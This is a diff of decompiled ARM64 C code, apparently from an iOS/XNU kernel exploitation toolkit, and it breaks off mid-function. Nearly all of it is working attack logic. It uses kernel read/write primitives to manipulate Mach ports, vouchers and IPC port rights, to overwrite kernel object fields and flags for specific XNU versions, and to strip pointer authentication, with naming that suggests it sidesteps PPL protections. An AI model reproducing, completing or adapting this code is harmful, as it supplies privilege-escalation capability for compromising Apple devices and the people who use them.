[xsp+8h] [xbp-28h] BYREF + + v7 = a3; + if ( a2 > 0xD ) + return 0; + v6 = *(unsigned int *)(a1 + 360); + result = sub_360A8(a1); + if ( result ) + return kwritebuf_last_1(a1, result + (unsigned int)v6 * a2, (__int64)&v7, v6); + return result; +} + +//----- (0000000000036248) ---------------------------------------------------- +bool __fastcall voucher_create_mach_voucher(__int64 a1, __int64 a2, ipc_voucher_t *voucherOut) +{ + host_t v4; // w0 + __int128 recipes; // [xsp+0h] [xbp-30h] BYREF + __int64 v7; // [xsp+10h] [xbp-20h] + + recipes = xmmword_43710; + v7 = a2; + v4 = mach_host_self(); + return host_create_mach_voucher(v4, (mach_voucher_attr_raw_recipe_array_t)&recipes, 0x18u, voucherOut) == 0; +} +// 43710: using guessed type __int128 xmmword_43710; + +//----- (000000000003629C) ---------------------------------------------------- +__int64 __fastcall create_mach_port_with_a2(__int64 krwCtx, unsigned int a2) +{ + pid_t pid; // w0 + int mach_port; // w0 + int v6; // w19 + int v7; // w8 + __int64 buffer; // [xsp+8h] [xbp-18h] BYREF + + buffer = 0; + pid = getpid(); + if ( proc_pidinfo(pid, 32, 0, &buffer, 8) == 8 ) + { + if ( (unsigned int)buffer >= a2 ) + { + return 0; + } + else + { + mach_port = create_mach_port(a2); + if ( mach_port ) + return mach_port | 0x80000000; + else + return 0; + } + } + else + { + v6 = *__error(); + v7 = *__error(); + if ( v6 < 0 ) + v7 = -v7; + return v7 | 0x40000000u; + } +} + +//----- (0000000000036330) ---------------------------------------------------- +__int64 __fastcall create_mach_port(int a1) +{ + __int64 v2; // x19 + unsigned int inserted; // w0 + mach_port_name_t name; // [xsp+Ch] [xbp-24h] BYREF + + name = 0; + v2 = mach_port_allocate(mach_task_self_, 1u, &name); + if ( !(_DWORD)v2 ) + { + inserted = mach_port_insert_right(mach_task_self_, (a1 << 8) | 3, name, 0x15u); + if ( inserted ) + { + if ( inserted == 13 ) + v2 = 0; + else + v2 = inserted; + } + else + { + mach_port_deallocate(mach_task_self_, (a1 << 8) | 3); + v2 = 0; + } + } + if ( name + 1 >= 2 ) + mach_port_mod_refs(mach_task_self_, name, 1u, -1); + return v2; +} + +//----- (00000000000363E4) ---------------------------------------------------- +__int64 __fastcall sub_363E4(__int64 a1, unsigned int a2) +{ + pid_t v3; // w0 + int mach_port; // w0 + int v6; // w19 + int v7; // w8 + __int64 buffer; // [xsp+8h] [xbp-18h] BYREF + + buffer = 0; + v3 = getpid(); + if ( proc_pidinfo(v3, 32, 0, &buffer, 8) == 8 ) + { + if ( HIDWORD(buffer) >= a2 ) + { + return 0; + } + else + { + mach_port = create_mach_port(a2 - HIDWORD(buffer) + (unsigned int)buffer); + if ( mach_port ) + return mach_port | 0x80000000; + else + return 0; + } + } + else + { + v6 = *__error(); + v7 = *__error(); + if ( v6 < 0 ) + v7 = -v7; + return v7 | 0x40000000u; + } +} + +//----- (0000000000036480) ---------------------------------------------------- +__int64 __fastcall sub_36480(struct_krwCtx *a1, unsigned __int64 a2, mach_port_name_t *a3) +{ + __int64 v6; // x25 + _BOOL4 v7; // w0 + unsigned int v8; // w9 + __int64 v9; // x22 + unsigned __int64 someLargeNumber; // x8 + int v11; // w23 + _BOOL8 v12; // x0 + __int64 v13; // x0 + __int64 v14; // x22 + vm_size_t v15; // x23 + kern_return_t v16; // w0 + mach_port_name_t v17; // w24 + int xnuMajorVersion; // w8 + __int64 v19; // x23 + __int64 v20; // x0 + unsigned __int64 v21; // x0 + mach_vm_address_t v22; // x22 + __int64 v23; // x0 + int v24; // w8 + __int64 v25; // x23 + _BOOL4 v26; // w20 + unsigned int v27; // w24 + vm_address_t v28; // x22 + unsigned int v29; // w8 + __int64 v30; // x0 + int v31; // w8 + _BOOL4 v33; // w0 + __int64 v34; // x0 + __int64 v35; // x22 + __int64 v36; // x0 + int v37; // w23 + int v38; // w24 + __int64 v39; // x0 + mach_vm_address_t v40; // x22 + unsigned int v41; // w28 + mach_port_t v42; // w22 + mach_port_t v43; // w23 + mach_port_name_t v45; // w23 + __int64 v46; // x0 + mach_vm_address_t v47; // x21 + int v48; // [xsp+4h] [xbp-7Ch] BYREF + __int64 v49; // [xsp+8h] [xbp-78h] BYREF + mach_port_t previous[2]; // [xsp+10h] [xbp-70h] BYREF + unsigned __int64 __buf; // [xsp+18h] [xbp-68h] BYREF + mach_port_name_t name[2]; // [xsp+20h] [xbp-60h] BYREF + vm_address_t address; // [xsp+28h] [xbp-58h] BYREF + + v6 = 163856; + LODWORD(address) = 0; + v7 = kread32_outptr((__int64)a1, a2, &address); + if ( (address & 0x80000000) == 0LL ) + v8 = 163848; + else + v8 = 0; + if ( v7 ) + v9 = v8; + else + v9 = 163855; + if ( !v7 || (address & 0x80000000) == 0 ) + return v9; + someLargeNumber = a1->someLargeNumber; + if ( someLargeNumber < 0x1F530000000000LL ) + { +LABEL_21: + *(_QWORD *)name = 0; + xnuMajorVersion = a1->xnuMajorVersion; + v9 = 163884; + v19 = 56; + if ( xnuMajorVersion <= 8018 ) + { + if ( xnuMajorVersion != 6153 && xnuMajorVersion != 7195 ) + return v9; + } + else if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 ) + { + if ( xnuMajorVersion != 8792 ) + return v9; + v19 = 48; + } + arc4random_buf(&__buf, 8u); + v49 = 0; + *(_QWORD *)previous = 0; + if ( !voucher_create_mach_voucher(v20, __buf, &name[1]) ) + { +LABEL_71: + v26 = 0; + v6 = 4097; + goto LABEL_72; + } + v21 = port_name_to_kaddr(a1, name[1]); + if ( v21 ) + { + v22 = v21 + v19; + if ( !kread64_outptr(a1, v21 + v19, &address) ) + goto LABEL_45; + if ( validate_addr((__int64)a1, address) ) + { + v23 = kwrite64(a1, v22, a2); + if ( !(_DWORD)v23 ) + goto LABEL_86; + v24 = a1->xnuMajorVersion; + if ( v24 >= 8020 ) + { + v23 = kread64_outptr(a1, a2 + 88, (unsigned __int64 *)&v49); + if ( (_DWORD)v23 ) + { + if ( v49 != 1 ) + { + v23 = kwrite64(a1, a2 + 88, 1); + if ( !(_DWORD)v23 ) + goto LABEL_86; + } + v25 = 88; +LABEL_66: + if ( voucher_create_mach_voucher(v23, __buf, name) ) + { + v31 = a1->xnuMajorVersion; + if ( v31 < 8020 ) + { + if ( v31 == 8019 + && previous[1] != previous[0] + && !(unsigned int)kwritebuf_last_1((__int64)a1, a2 + 8, (__int64)&previous[1], 4) ) + { + goto LABEL_86; + } + } + else if ( v49 != 1 && !kwrite64(a1, v25 + a2, v49) ) + { + goto LABEL_86; + } + v33 = kwrite64(a1, v22, address); + v26 = v33; + if ( v33 ) + v6 = 0; + else + v6 = 163856; + goto LABEL_72; + } + goto LABEL_71; + } + goto LABEL_45; + } + if ( v24 != 8019 ) + { +LABEL_44: + v25 = 0; + goto LABEL_66; + } + v23 = kreadbuf_last_1(a1, a2 + 8, 4, &previous[1]); + if ( (_DWORD)v23 ) + { + if ( (previous[1] & 0x1000000) != 0 ) + { + v25 = 0; + previous[0] = previous[1]; + goto LABEL_66; + } + previous[0] = previous[1] | 0x1000000; + v23 = kwritebuf_last_1((__int64)a1, a2 + 8, (__int64)previous, 4); + if ( (_DWORD)v23 ) + goto LABEL_44; +LABEL_86: + v26 = 0; + goto LABEL_72; + } +LABEL_45: + v26 = 0; + v6 = 163855; + goto LABEL_72; + } + v26 = 0; + v6 = 163878; + } + else + { + v26 = 0; + v6 = 163877; + } +LABEL_72: + if ( name[1] + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, name[1]); + if ( v26 ) + { + *a3 = name[0]; + } + else if ( name[0] + 1 >= 2 ) + { + mach_port_deallocate(mach_task_self_, name[0]); + } + return v6; + } + if ( someLargeNumber <= 0x1F5418FFFFFFFFLL ) + v11 = 0x400000; + else + v11 = 0x200000; + v12 = kread32_outptr((__int64)a1, a2 + 8, &address); + if ( !v12 ) + return 163855; + if ( ((unsigned int)address & v11) != 0 ) + { + v12 = noppl_kwrite32((__int64)a1, a2 + 8, address & ~v11); + if ( !v12 ) + return v6; + } + if ( a1->someLargeNumber < 0x1F543C40800000LL ) + goto LABEL_21; + name[0] = 0; + *(_QWORD *)previous = 0; + v48 = 0; + address = 0; + v9 = sub_363E4(v12, 8u); + if ( !(_DWORD)v9 ) + { + v13 = sub_3382C((__int64)a1, mach_task_self_, &v49, &name[1]); + if ( v13 ) + { + v14 = v13; + v15 = name[1] * (unsigned int)v49; + v16 = vm_allocate(mach_task_self_, &address, v15, 1); + if ( v16 ) + { + v17 = 0; + v9 = v16 | 0x80000000; + } + else if ( (unsigned int)kreadbuf_last_1(a1, v14, name[1] * (unsigned int)v49, (void *)address) ) + { + if ( (_DWORD)v49 ) + { + v27 = 0; + while ( 1 ) + { + __buf = 0; + v28 = address + name[1] * v27; + __memcpy_chk(); + if ( __buf ) + { + __buf = krw_xpac_vaddr_2(a1, __buf); + if ( __buf == a2 ) + { + v29 = *(_DWORD *)(v28 + a1->int168); + if ( (v29 & 0x10000) != 0 ) + break; + } + } + if ( ++v27 >= (unsigned int)v49 ) + goto LABEL_54; + } + v9 = 0; + v17 = __PAIR64__(v27, v29) >> 24; + } + else + { +LABEL_54: + v17 = 0; + v9 = 0; + } + } + else + { + v17 = 0; + v9 = 163855; + } + if ( address && (_DWORD)v15 ) + vm_deallocate(mach_task_self_, address, v15); + if ( !(_DWORD)v9 ) + { + if ( v17 + 1 >= 2 ) + { + LODWORD(v30) = mach_port_mod_refs(mach_task_self_, v17, 0, 1); + if ( !(_DWORD)v30 ) + { + v9 = 0; + *a3 = v17; + return v9; + } + return (unsigned int)v30 | 0x80000000; + } + LODWORD(v30) = mach_port_allocate(mach_task_self_, 1u, name); + if ( (_DWORD)v30 ) + return (unsigned int)v30 | 0x80000000; + v34 = task_self_get_ipc_port(a1, name[0]); + if ( !v34 ) + return 163854; + v35 = v34; + v36 = sub_32820(a1, v34); + if ( !v36 ) + return 163884; + v37 = v36; + v38 = a1->int168; + if ( !kread32_outptr((__int64)a1, a2, &v48) ) + return 163855; + if ( (v48 & 0x400) != 0 && !noppl_kwrite32((__int64)a1, a2, v48 & 0xFFFFFBFF) + || !sub_288A4((__int64)a1, v35 + (unsigned int)(v37 - v35 + 2 * v38), a2) ) + { + return 163856; + } + v30 = mach_port_request_notification(mach_task_self_, name[0], 70, 1u, 0, 0x15u, &previous[1]); + if ( (_DWORD)v30 ) + return (unsigned int)v30 | 0x80000000; + v9 = 163848; + if ( previous[1] + 1 >= 2 ) + { + v9 = sub_363E4(v30, 8u); + if ( !(_DWORD)v9 ) + { + v39 = task_self_get_ipc_port_ptr((__int64)a1, previous[1]); + if ( !v39 ) + return 163854; + v40 = v39 + 8; + if ( kread32_outptr((__int64)a1, v39 + 8, previous) ) + { + if ( (previous[0] & 0x1F0000) != 0x40000 ) + return 163857; + previous[0] = previous[0] & 0xFFE0FFFF | 0x10000; + if ( noppl_kwrite32((__int64)a1, v40, previous[0]) ) + { + LODWORD(v30) = mach_port_mod_refs(mach_task_self_, name[0], 1u, -1); + if ( !(_DWORD)v30 ) + { + v41 = 0; + v42 = mach_task_self_; + v43 = previous[1]; + while ( 1 ) + { + LODWORD(address) = 0; + LODWORD(v30) = mach_port_allocate(v42, 1u, (mach_port_name_t *)&address); + if ( (_DWORD)v30 ) + break; + LODWORD(v30) = mach_port_mod_refs(v42, address, 1u, -1); + if ( (_DWORD)v30 ) + break; + LODWORD(v30) = mach_port_insert_right(v42, address, v43, 0x13u); + if ( !(_DWORD)v30 ) + { + v45 = address; + if ( (v48 & 0x400) != 0 ) + noppl_kwrite32((__int64)a1, a2, v48); + v46 = task_self_get_ipc_port_ptr((__int64)a1, previous[1]); + if ( !v46 ) + return 163854; + v47 = v46 + 8; + if ( !kread32_outptr((__int64)a1, v46 + 8, previous) ) + return 163855; + if ( (previous[0] & 0x1F0000) == 0x10000 ) + { + previous[0] = previous[0] & 0xFFE0FFFF | 0x100000; + v9 = 163856; + if ( !noppl_kwrite32((__int64)a1, v47, previous[0]) ) + return v9; + LODWORD(v30) = mach_port_mod_refs(mach_task_self_, previous[1], 4u, -1); + if ( !(_DWORD)v30 ) + { + v9 = 0; + *a3 = v45; + return v9; + } + return (unsigned int)v30 | 0x80000000; + } + return 163857; + } + if ( (v30 & 0xFFFFFFF7) != 5 || v41++ >= 8 ) + return (unsigned int)v30 | 0x80000000; + } + } + return (unsigned int)v30 | 0x80000000; + } + return 163856; + } + return 163855; + } + } + } + } + else + { + return 163878; + } + } + return v9; +} +// 36648: variable 'v20' is possibly undefined + +//----- (0000000000036C10) ---------------------------------------------------- +_QWORD *__fastcall sub_36C10(struct_krwCtx *a1, unsigned int a2) +{ + int xnuMajorVersion; // w8 + unsigned int v5; // w8 + size_t v6; // x21 + _QWORD *result; // x0 + _QWORD *v8; // x20 + int v9; // w22 + unsigned int v10; // w20 + unsigned __int64 v11; // x0 + __int64 v12; // [xsp+8h] [xbp-48h] BYREF + unsigned __int64 v13; // [xsp+10h] [xbp-40h] BYREF + mach_port_name_t name[2]; // [xsp+18h] [xbp-38h] BYREF + void *v15; // [xsp+20h] [xbp-30h] BYREF + void *v16; // [xsp+28h] [xbp-28h] BYREF + + *(_QWORD *)name = 0; + v15 = 0; + v12 = 0; + v13 = 0; + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion != 7195 && xnuMajorVersion != 6153 ) + return 0; + v5 = a1->pageSizeOrSomething; + if ( v5 <= a2 ) + v6 = a2; + else + v6 = v5; + v16 = 0; + result = calloc(v6, 1u); + if ( result ) + { + v8 = result; + v9 = sub_1F274(2 * (int)v6, &v16); + if ( !v9 ) + { + v9 = sub_1F308((__int64 *)v16, 0x1000000, 4u, 0); + if ( !v9 ) + { + v9 = sub_1F308((__int64 *)v16, 0x8000000, 4u, "key"); + if ( !v9 ) + { + v9 = sub_1F308((__int64 *)v16, -1979711488, v6, v8); + if ( !v9 ) + v9 = sub_1F418((__int64)v16, &v15, &name[1]); + } + } + } + if ( v16 ) + sub_1F4A4((void **)v16); + free(v8); + if ( v9 ) + return 0; + v10 = sub_24FC0((__int64)v15, name[1], name); + if ( v10 + 1 >= 2 ) + { + v11 = port_name_to_kaddr(a1, v10); + v13 = v11; + if ( v11 ) + { + if ( kread64_outptr(a1, v11 + 16, &v13) + && kread64_outptr(a1, v13 + 24, &v13) + && kread64_outptr(a1, v13 + 32, &v13) + && kread64_outptr(a1, v13 + a1->int168, &v13) + && kread64_outptr(a1, v13 + 24, (unsigned __int64 *)&v12) ) + { + v12 = validate_addr((__int64)a1, v12); + if ( v12 ) + { + if ( !kwrite64((__int64)a1, v13 + 24, 0) ) + v12 = 0; + } + } + } + } + if ( v15 ) + free(v15); + if ( v10 + 1 >= 2 ) + mach_port_destroy(mach_task_self_, v10); + if ( name[0] + 1 >= 2 ) + mach_port_destroy(mach_task_self_, name[0]); + return (_QWORD *)v12; + } + return result; +} + +//----- (0000000000036E4C) ---------------------------------------------------- +__int64 __fastcall sub_36E4C(__int64 a1, __int64 a2, __int64 size) +{ + __int64 v6; // x19 + kern_return_t v7; // w0 + unsigned int v8; // w24 + kern_return_t v9; // w0 + mach_port_name_t v10; // w22 + __int64 v11; // x0 + int v12; // w0 + _QWORD *v13; // x10 + _QWORD *v14; // x9 + _QWORD *v15; // x8 + void *v16; // x27 + __int64 v17; // x0 + mach_port_t v18; // w0 + mach_port_name_t v19; // w1 + int v20; // w8 + __int64 v22; // x0 + __int64 v23; // x19 + void *v24; // x0 + void *v25; // x22 + int v26; // w24 + __int64 v27; // x26 + __int64 v28; // x25 + __int64 v29; // x0 + __int64 v30; // x0 + mach_vm_address_t v31; // x27 + unsigned __int64 v32; // x8 + __int64 v33; // x8 + kern_return_t v34; // w0 + mach_port_name_t name; // [xsp+4h] [xbp-6Ch] BYREF + vm_address_t address[3]; // [xsp+8h] [xbp-68h] BYREF + + if ( *(_QWORD *)(a1 + 344) >= 0x1F541E00000000uLL ) + { + v6 = 708609; + address[0] = 0; + if ( (size & 0xF) != 0 ) + return v6; + v7 = vm_allocate(mach_task_self_, address, (unsigned int)size, 1); + if ( v7 ) + { + v8 = 0; + v6 = v7 | 0x80000000; + goto LABEL_30; + } + v12 = pthread_mutex_lock((pthread_mutex_t *)(a1 + 816)); + if ( !v12 ) + { + v13 = *(_QWORD **)(a1 + 880); + if ( v13 ) + { + v14 = 0; + v15 = (_QWORD *)(a1 + 880); + while ( 1 ) + { + v16 = v13; + if ( v13[1] == a2 && *((_DWORD *)v13 + 6) == (_DWORD)size ) + break; + v13 = (_QWORD *)*v13; + v14 = v16; + if ( !*(_QWORD *)v16 ) + goto LABEL_15; + } + if ( v14 ) + v15 = v14; + *v15 = *v13; + v12 = pthread_mutex_unlock((pthread_mutex_t *)(a1 + 816)); + if ( v12 ) + goto LABEL_26; + v6 = 163856; + v27 = *((_QWORD *)v16 + 4); + v28 = *((_QWORD *)v16 + 2); + v8 = *((_DWORD *)v16 + 7); + free(v16); + v29 = task_self_get_ipc_port((struct_krwCtx *)a1, v8); + if ( v29 ) + { + v30 = sub_32820((struct_krwCtx *)a1, v29); + if ( v30 && (v31 = v30 + 3LL * *(int *)(a1 + 360)) != 0 ) + { + if ( (unsigned int)kwritebuf_last_1(a1, a2, address[0], size) ) + { + v32 = *(_QWORD *)(a1 + 344); + if ( v32 > 0x22580A06BFFFFFLL + || (v32 < 0x1F543C40800000LL || *(int *)(a1 + 320) >= 8792 + ? (v33 = *(unsigned int *)(a1 + 360)) + : (v33 = 0), + kwrite64(a1, v33 + a2, v27)) ) + { + if ( kwrite64(a1, v31, v28) ) + { + v34 = mach_port_mod_refs(mach_task_self_, v8, 1u, -1); + if ( v34 ) + { + v6 = v34 | 0x80000000; + } + else + { + v8 = 0; + v6 = 0; + } + } + } + } + } + else + { + v6 = 163878; + } + } + else + { + v6 = 163854; + } +LABEL_30: + if ( address[0] ) + vm_deallocate(mach_task_self_, address[0], (unsigned int)size); + if ( v8 + 1 >= 2 ) + { + v18 = mach_task_self_; + v19 = v8; +LABEL_34: + mach_port_mod_refs(v18, v19, 1u, -1); + return v6; + } + return v6; + } +LABEL_15: + v12 = pthread_mutex_unlock((pthread_mutex_t *)(a1 + 816)); + if ( !v12 ) + { + v8 = 0; + v6 = 708625; + goto LABEL_30; + } + } +LABEL_26: + v8 = 0; + if ( v12 >= 0 ) + v20 = v12; + else + v20 = -v12; + v6 = v20 | 0x40000000u; + goto LABEL_30; + } + name = 0; + v9 = mach_port_allocate(mach_task_self_, 1u, &name); + if ( !v9 ) + { + v10 = name; + v11 = sub_248E4((__int64)address); + if ( (_DWORD)v11 ) + { + v6 = v11; + } + else + { + sub_24954((__int64)address, -1); + if ( (_DWORD)v17 ) + { + v6 = v17; + sub_24908((__int64)address); + } + else + { + v6 = sub_24B38((__int64)address, 0, v10, 0); + sub_24908((__int64)address); + if ( !(_DWORD)v6 ) + { + LOBYTE(address[0]) = 2; + if ( !((unsigned int)size % *(_DWORD *)(a1 + 360)) + && (v22 = sub_35568((struct_krwCtx *)a1, name)) != 0 + && (v23 = v22, (v24 = calloc((unsigned int)size, 1u)) != 0) + && (v25 = v24, v26 = kwritebuf_last_1(a1, a2, (__int64)v24, size), free(v25), v26) + && sub_288A4(a1, v23 + 36, a2) + && noppl_kwrite32(a1, v23 + 48, (unsigned int)size / *(_DWORD *)(a1 + 360)) ) + { + if ( (unsigned int)kwritebuf_last_1(a1, v23 + 47, (__int64)address, 1) ) + v6 = 0; + else + v6 = 4097; + } + else + { + v6 = 4097; + } + } + } + } + v18 = mach_task_self_; + v19 = name; + goto LABEL_34; + } + return v9 | 0x80000000; +} +// 36F80: variable 'v17' is possibly undefined + +//----- (0000000000037210) ---------------------------------------------------- +unsigned __int64 __fastcall sub_37210(__int64 a1, unsigned int *a2) +{ + unsigned int v4; // w24 + unsigned __int64 v5; // x8 + __int64 v6; // x28 + __int64 v7; // x27 + unsigned int v8; // w0 + unsigned int v9; // w8 + int v10; // w9 + int v11; // w8 + unsigned int v12; // w8 + int v13; // w9 + int v14; // w8 + int v15; // w21 + unsigned int v16; // w22 + void *v17; // x0 + void *v18; // x21 + mach_port_t v19; // w23 + int v20; // w22 + __int64 v21; // x0 + unsigned __int64 v22; // x22 + mach_port_name_t v23; // w1 + mach_port_t v24; // w0 + __int64 v25; // x0 + __int64 v26; // x0 + unsigned __int64 v27; // x21 + unsigned int v28; // w23 + unsigned __int64 v29; // x23 + int v30; // w0 + unsigned int v31; // w22 + int v32; // w8 + int v33; // w10 + unsigned int v34; // w8 + int v35; // w11 + void *v36; // x0 + mach_port_t v37; // w23 + _QWORD *v39; // x0 + void *v40; // x21 + mach_port_name_t v41; // w8 + int v42; // w22 + mach_port_name_t v43; // w23 + unsigned __int64 v44; // x8 + bool v45; // cc + __int64 v46; // x8 + unsigned __int64 v47; // x23 + unsigned __int64 v48; // x26 + int v49; // w0 + __int64 v50; // x0 + __int64 *v51; // x9 + _QWORD *v52; // x8 + unsigned int v53; // [xsp+4h] [xbp-8Ch] + int v54; // [xsp+8h] [xbp-88h] BYREF + unsigned int v55; // [xsp+Ch] [xbp-84h] BYREF + mach_port_name_t name[2]; // [xsp+10h] [xbp-80h] BYREF + mach_port_t previous; // [xsp+1Ch] [xbp-74h] BYREF + mach_port_name_t v58[2]; // [xsp+20h] [xbp-70h] BYREF + unsigned __int64 v59[3]; // [xsp+28h] [xbp-68h] BYREF + + v4 = *a2; + v5 = *(_QWORD *)(a1 + 344); + if ( v5 >= 0x1F541E00000000LL ) + { + *(_QWORD *)v58 = 0; + previous = 0; + *(_QWORD *)name = 0; + if ( v5 > 0x22580A06BFFFFFLL || v5 >= 0x1F543C40800000LL && *(int *)(a1 + 320) <= 8791 ) + { + v6 = 0; + v7 = *(unsigned int *)(a1 + 360); + } + else + { + v7 = 0; + v6 = *(unsigned int *)(a1 + 360); + } + if ( mach_port_allocate(mach_task_self_, 1u, &v58[1]) ) + goto LABEL_29; + v25 = task_self_get_ipc_port((struct_krwCtx *)a1, v58[1]); + if ( !v25 ) + goto LABEL_29; + v26 = sub_32820((struct_krwCtx *)a1, v25); + if ( !v26 ) + goto LABEL_29; + v27 = v26 + 3LL * *(int *)(a1 + 360); + if ( !v27 || mach_port_allocate(mach_task_self_, 1u, v58) ) + goto LABEL_29; + while ( 1 ) + { + if ( mach_port_request_notification(mach_task_self_, v58[1], 72, 0, v58[0], 0x15u, &previous) + || mach_port_request_notification(mach_task_self_, v58[1], 72, 0, 0, 0x15u, &previous) ) + { + goto LABEL_29; + } + if ( previous + 1 >= 2 ) + { + if ( mach_port_deallocate(mach_task_self_, previous) ) + goto LABEL_29; + previous = 0; + } + if ( !kread64_internal((struct_krwCtx *)a1, v27, v59) ) + goto LABEL_29; + v22 = sub_29CB0((struct_krwCtx *)a1, v59[0]); + if ( *(_QWORD *)(a1 + 344) > 0x22580A06BFFFFFuLL ) + v22 = sub_2A200((struct_krwCtx *)a1, v22, &v55); + if ( !validate_addr(a1, v22) ) + goto LABEL_29; + if ( *(_QWORD *)(a1 + 344) <= 0x22580A06BFFFFFuLL ) + { + if ( !kread64_internal((struct_krwCtx *)a1, v22 + v6, name) ) + goto LABEL_29; + v29 = sub_29CB0((struct_krwCtx *)a1, *(__int64 *)name); + if ( !validate_addr_maybe2((struct_krwCtx *)a1, v29) + || !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v29, 4, &v55) ) + { + goto LABEL_29; + } + v28 = 16 * v55; + } + else + { + v28 = v55; + } + if ( v28 >= v4 ) + break; + v54 = 0; + if ( !(unsigned int)kwritebuf_last_1(a1, v22 + v7, (__int64)&v54, 4) ) + goto LABEL_29; + } + if ( sub_288A4(a1, v27, 0) && (v39 = malloc(0x28u)) != 0 ) + { + v40 = v39; + *v39 = 0; + v39[1] = v22; + v39[2] = v59[0]; + v41 = v58[1]; + *((_DWORD *)v39 + 6) = v28; + *((_DWORD *)v39 + 7) = v41; + v39[4] = *(_QWORD *)name; + v58[1] = 0; + if ( pthread_mutex_lock((pthread_mutex_t *)(a1 + 816)) ) + { +LABEL_90: + free(v40); + goto LABEL_29; + } + v51 = *(__int64 **)(a1 + 880); + if ( v51 ) + { + while ( 1 ) + { + v52 = v51; + if ( v51[1] == v22 && *((_DWORD *)v51 + 6) == v28 ) + break; + v51 = (__int64 *)*v51; + if ( !*v52 ) + goto LABEL_112; + } + pthread_mutex_unlock((pthread_mutex_t *)(a1 + 816)); + goto LABEL_90; + } + v52 = (_QWORD *)(a1 + 880); +LABEL_112: + *v52 = v40; + if ( pthread_mutex_unlock((pthread_mutex_t *)(a1 + 816)) ) + v22 = 0; + else + v4 = v28; + } + else + { +LABEL_29: + v22 = 0; + } + if ( v58[1] + 1 >= 2 ) + mach_port_mod_refs(mach_task_self_, v58[1], 1u, -1); + v23 = v58[0]; + if ( v58[0] + 1 < 2 ) + goto LABEL_83; + v24 = mach_task_self_; + goto LABEL_82; + } + v8 = sub_40210(a1); + if ( !v8 ) + return 0; + if ( v4 >= v8 ) + { + v9 = *(_DWORD *)(a1 + 384); + v10 = v4 % v9; + v11 = v9 - v4 % v9; + if ( !v10 ) + v11 = 0; + v4 += v11; + } + v12 = *(_DWORD *)(a1 + 360); + if ( v4 >= 0x3FFF * v12 ) + { + name[0] = 0; + if ( !mach_port_allocate(mach_task_self_, 1u, name) ) + { + v30 = sub_353DC(a1); + if ( *(_QWORD *)(a1 + 344) <= 0x1F52FFFFFFFFFFuLL ) + { + v31 = -36; + if ( v4 >= 0x25 && v30 + 104 <= v4 ) + { + if ( v4 < 0x29 ) + goto LABEL_80; + if ( v30 + 108 <= v4 ) + { + v33 = 108; + v34 = 4; + do + { + v35 = v33; + if ( v33 - 64 >= v4 ) + break; + v33 += 4; + v34 += 4; + } + while ( v30 + ((v34 / 3) & 0x7FFFFFFC) + v33 <= v4 ); + v32 = v35 - 68; + } + else + { + v32 = 36; + } + v31 = v32 - 36; + if ( v32 == 36 ) + goto LABEL_80; + } + } + else + { + v31 = v4 + 76; + if ( v4 + 76 <= 256 - v30 ) + goto LABEL_80; + } + v36 = calloc(v31, 1u); + if ( v36 ) + { + v18 = v36; + if ( (v31 & 3) != 0 ) + goto LABEL_78; + v37 = name[0]; + if ( (unsigned int)sub_248E4((__int64)v59) ) + goto LABEL_78; + if ( !(unsigned int)sub_24AD0((__int64)v59, v18, v31) ) + { + v42 = sub_24B38((__int64)v59, 0, v37, 0); + sub_24908((__int64)v59); + if ( !v42 ) + { + v43 = name[0]; + v22 = sub_354A4((struct_krwCtx *)a1, name[0]); + if ( !v22 ) + goto LABEL_79; + if ( kread64_outptr((struct_krwCtx *)a1, v22, v59) && validate_addr(a1, v59[0]) ) + { + v53 = v43; + v44 = *(_QWORD *)(a1 + 344); + if ( v44 < 0x1C1B0A80100000LL ) + goto LABEL_100; + v45 = v44 > 0x1C1B19145FFFFFLL; + v46 = 24; + if ( v45 ) + v46 = 16; + if ( kread64_outptr((struct_krwCtx *)a1, v59[0] + v46, v59) && validate_addr(a1, v59[0]) ) + { +LABEL_100: + v47 = v22; + v48 = v22 + 8; + v49 = kreadbuf_last_1((struct_krwCtx *)a1, v22 + 8 + *(int *)(a1 + 360), 2, &v58[1]); + v22 = 0; + if ( !v49 || LOWORD(v58[1]) != 1 ) + goto LABEL_79; + if ( sub_288A4(a1, v47, 0) ) + { + LOWORD(v58[1]) = 0; + if ( (unsigned int)kwritebuf_last_1(a1, v48 + *(int *)(a1 + 360), (__int64)&v58[1], 2) ) + { + v50 = task_self_get_ipc_port((struct_krwCtx *)a1, v53); + if ( v50 ) + { + sub_35E18((struct_krwCtx *)a1, v50, -1); + v22 = v59[0]; + goto LABEL_79; + } + } + } + } + } + } + goto LABEL_78; + } + goto LABEL_77; + } +LABEL_80: + v22 = 0; + goto LABEL_81; + } + } + else + { + name[0] = 0; + v13 = v4 % v12; + v14 = v12 - v4 % v12; + if ( v13 ) + v15 = v14; + else + v15 = 0; + if ( !mach_port_allocate(mach_task_self_, 1u, name) ) + { + v16 = v15 + v4; + v17 = calloc(v15 + v4, 1u); + if ( v17 ) + { + v18 = v17; + if ( v16 % *(_DWORD *)(a1 + 360) ) + goto LABEL_78; + v19 = name[0]; + if ( (unsigned int)sub_248E4((__int64)v59) ) + goto LABEL_78; + if ( !(unsigned int)sub_24A64((__int64)v59, (__int64)v18, v16 / *(_DWORD *)(a1 + 360)) ) + { + v20 = sub_24B38((__int64)v59, 0, v19, 0); + sub_24908((__int64)v59); + if ( !v20 ) + { + v21 = sub_35568((struct_krwCtx *)a1, name[0]); + v22 = v21; + if ( !v21 ) + { +LABEL_79: + free(v18); +LABEL_81: + v24 = mach_task_self_; + v23 = name[0]; +LABEL_82: + mach_port_mod_refs(v24, v23, 1u, -1); + goto LABEL_83; + } + if ( kread64_outptr((struct_krwCtx *)a1, v21 + 36, v59) && validate_addr(a1, v59[0]) ) + { + if ( noppl_kwrite32(a1, v22 + 32, 0) ) + v22 = v59[0]; + else + v22 = 0; + goto LABEL_79; + } + } +LABEL_78: + v22 = 0; + goto LABEL_79; + } +LABEL_77: + sub_24908((__int64)v59); + goto LABEL_78; + } + goto LABEL_80; + } + } + v22 = 0; +LABEL_83: + if ( v22 && v4 != *a2 ) + *a2 = v4; + return v22; +} + +//----- (000000000003796C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_3796C(__int64 a1, _DWORD *a2) +{ + unsigned __int64 v4; // x19 + vm_size_t v5; // x20 + vm_address_t address; // [xsp+0h] [xbp-40h] BYREF + vm_size_t size; // [xsp+Ch] [xbp-34h] BYREF + + LODWORD(size) = *a2; + v4 = sub_37210(a1, (unsigned int *)&size); + if ( v4 ) + { + address = 0; + v5 = (unsigned int)size; + if ( 